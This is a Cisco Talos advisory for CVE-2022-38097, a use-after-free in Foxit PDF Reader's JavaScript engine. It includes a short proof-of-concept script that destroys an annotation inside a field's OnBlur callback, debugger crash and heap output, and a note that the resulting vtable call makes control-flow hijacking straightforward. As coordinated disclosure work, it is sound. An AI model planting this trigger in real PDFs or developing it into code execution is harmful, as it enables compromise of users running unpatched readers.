CVE-2022-38097
A use-after-free vulnerability exists in the JavaScript engine of Foxit Software’s PDF Reader, version 12.0.1.12430. By prematurely destroying annotation objects, a specially-crafted PDF document can trigger the reuse of previously freed memory, which can lead to arbitrary code execution. An attacker needs to trick the user into opening the malicious file to trigger this vulnerability. Exploitation is also possible if a user visits a specially-crafted, malicious site if the browser plugin extension is enabled.
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
Foxit Reader 12.0.1.12430
Foxit Reader - https://www.foxitsoftware.com/pdf-reader/
8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CWE-416 - Use After Free
Foxit PDF Reader is one of the most popular PDF document readers and has a large user base. It aims to have feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface. Foxit Reader uses the V8 JavaScript engine.
Javascript support in PDF renderers and editors enables dynamic documents that can change based on user input or events. There exists a use-after-free vulnerability in the way Foxit Reader handles certain events of form elements, such as text fields or buttons. This can be illustrated by the following proof-of-concept code:
function main() {
getField("txt2").setAction("OnBlur",'f20();');
getField('txt2').setFocus();
this.addAnnot({page: 1, type: "Stamp", point: [6,13,12,16],state : 0,popupOpen : true,callout : "",lineEnding :0,name :"b"});
}
function f20() {
this.getAnnots()[0].destroy();
}
The above code simply assigns a callback function to ‘OnBlur’ action for field txt2
. Next, a new annotation is created which promptly makes the field txt2
lose focus, triggering its callback. In the action callback, the newly created annotation is immediately destroyed, which ends up freeing the associated memory. We can observe the following in the debugger at the time of the crash:
(21b0.1d4c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=07afdf34 ecx=17c7a87d edx=0c4b0000 esi=27a9afe8 edi=07afdf54
eip=02ce68a7 esp=07afded0 ebp=07afdf20 iopl=0 nv up ei pl nz ac pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010216
FoxitPDFReader!safe_vsnprintf+0xe252c7:
02ce68a7 8b06 mov eax,dword ptr [esi] ds:002b:27a9afe8=????????
0:000> u
FoxitPDFReader!safe_vsnprintf+0xe252c7:
02ce68a7 8b06 mov eax,dword ptr [esi]
02ce68a9 8bce mov ecx,esi
02ce68ab 8b4040 mov eax,dword ptr [eax+40h]
02ce68ae ffd0 call eax
02ce68b0 84c0 test al,al
02ce68b2 7469 je FoxitPDFReader!safe_vsnprintf+0xe2533d (02ce691d)
02ce68b4 f30f1045fc movss xmm0,dword ptr [ebp-4]
02ce68b9 0f57c9 xorps xmm1,xmm1
0:000> k 8
# ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
00 07afdf20 02c60f8f FoxitPDFReader!safe_vsnprintf+0xe252c7
01 07afe11c 02c331f2 FoxitPDFReader!safe_vsnprintf+0xd9f9af
02 07afe170 02f54d9b FoxitPDFReader!safe_vsnprintf+0xd71c12
03 07afe1b8 03138a8b FoxitPDFReader!FXJSE_GetClass+0x26b
04 07afe220 0313824e FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1e361b
05 07afe2b4 03138505 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1e2dde
06 07afe2fc 0313838b FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1e3095
07 07afe318 0335a53b FoxitPDFReader!CFXJSE_Arguments::GetValue+0x1e2f1b
0:000> !heap -p -a esi
address 27a9afe8 found in
_DPH_HEAP_ROOT @ c4b1000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
2f1c11d4: 27a9a000 2000
64e3ae02 verifier!AVrfDebugPageHeapFree+0x000000c2
77b82c91 ntdll!RtlDebugFreeHeap+0x0000003e
77ae3c45 ntdll!RtlpFreeHeap+0x000000d5
77ae3812 ntdll!RtlFreeHeap+0x00000222
0463fc6b FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x00484b4b
0461d121 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x00462001
045655d2 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x003aa4b2
01513fd9 FoxitPDFReader!CryptUIWizExport+0x00034699
016e442d FoxitPDFReader!CryptUIWizExport+0x00204aed
019b6204 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x00015f04
019b622b FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x00015f2b
00da8efe FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x000458fe
00da268d FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x0003f08d
01724664 FoxitPDFReader!CryptUIWizExport+0x00244d24
01727c0c FoxitPDFReader!CryptUIWizExport+0x002482cc
0197b9f1 FoxitPDFReader!CryptUIWizExport+0x0049c0b1
01385d32 FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x002e6532
01500b7e FoxitPDFReader!CryptUIWizExport+0x0002123e
02cf7a11 FoxitPDFReader!safe_vsnprintf+0x00e36431
02ce0972 FoxitPDFReader!safe_vsnprintf+0x00e1f392
02f54d9b FoxitPDFReader!FXJSE_GetClass+0x0000026b
03138a8b FoxitPDFReader!CFXJSE_Arguments::GetValue+0x001e361b
0313824e FoxitPDFReader!CFXJSE_Arguments::GetValue+0x001e2dde
03138505 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x001e3095
0313838b FoxitPDFReader!CFXJSE_Arguments::GetValue+0x001e2f1b
0335a53b FoxitPDFReader!CFXJSE_Arguments::GetValue+0x004050cb
032f6599 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x003a1129
032f6599 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x003a1129
032f4c20 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x0039f7b0
032f4a49 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x0039f5d9
02f915ee FoxitPDFReader!CFXJSE_Arguments::GetValue+0x0003c17e
02f91102 FoxitPDFReader!CFXJSE_Arguments::GetValue+0x0003bc92
In the above debugger output, we can see that the crash is due to dereference of invalid memory (with PageHeap enabled). The memory is invalid because it belongs to a freed allocation, as shown by output of !heap
. Additionally, the dereference happens as part of a vtable function call, which lends itself to straightforward control flow hijacking.
If we step back and examine the size of the object before it’s been freed, we would see:
0:000> dt _DPH_BLOCK_INFORMATION 27a9afc8
verifier!_DPH_BLOCK_INFORMATION
+0x000 StartStamp : 0xabcdbbbb
+0x004 Heap : 0x1a161000 Void
+0x008 RequestedSize : 0x14
+0x00c ActualSize : 0x1000
+0x010 Internal : _DPH_BLOCK_INTERNAL_INFORMATION
+0x018 StackTrace : 0x1b507994 Void
+0x01c EndStamp : 0xdcbabbbb
The freed object that is first being dereferenced is of size 0x14. A newly created annotation is deleted inside the event handler, but is then reused in the main execution thread, which causes a crash. This indicates a use-after-free condition. Since additional Javascript code can be executed between object free and reuse, freed memory could be put under attacker control. With careful memory layout manipulation, this can lead to further memory corruption and ultimately arbitrary code execution.
2022-09-22 - Vendor Disclosure
2022-11-09 - Vendor Patch Release
2022-11-10 - Public Release
Discovered by Aleksandar Nikolic of Cisco Talos.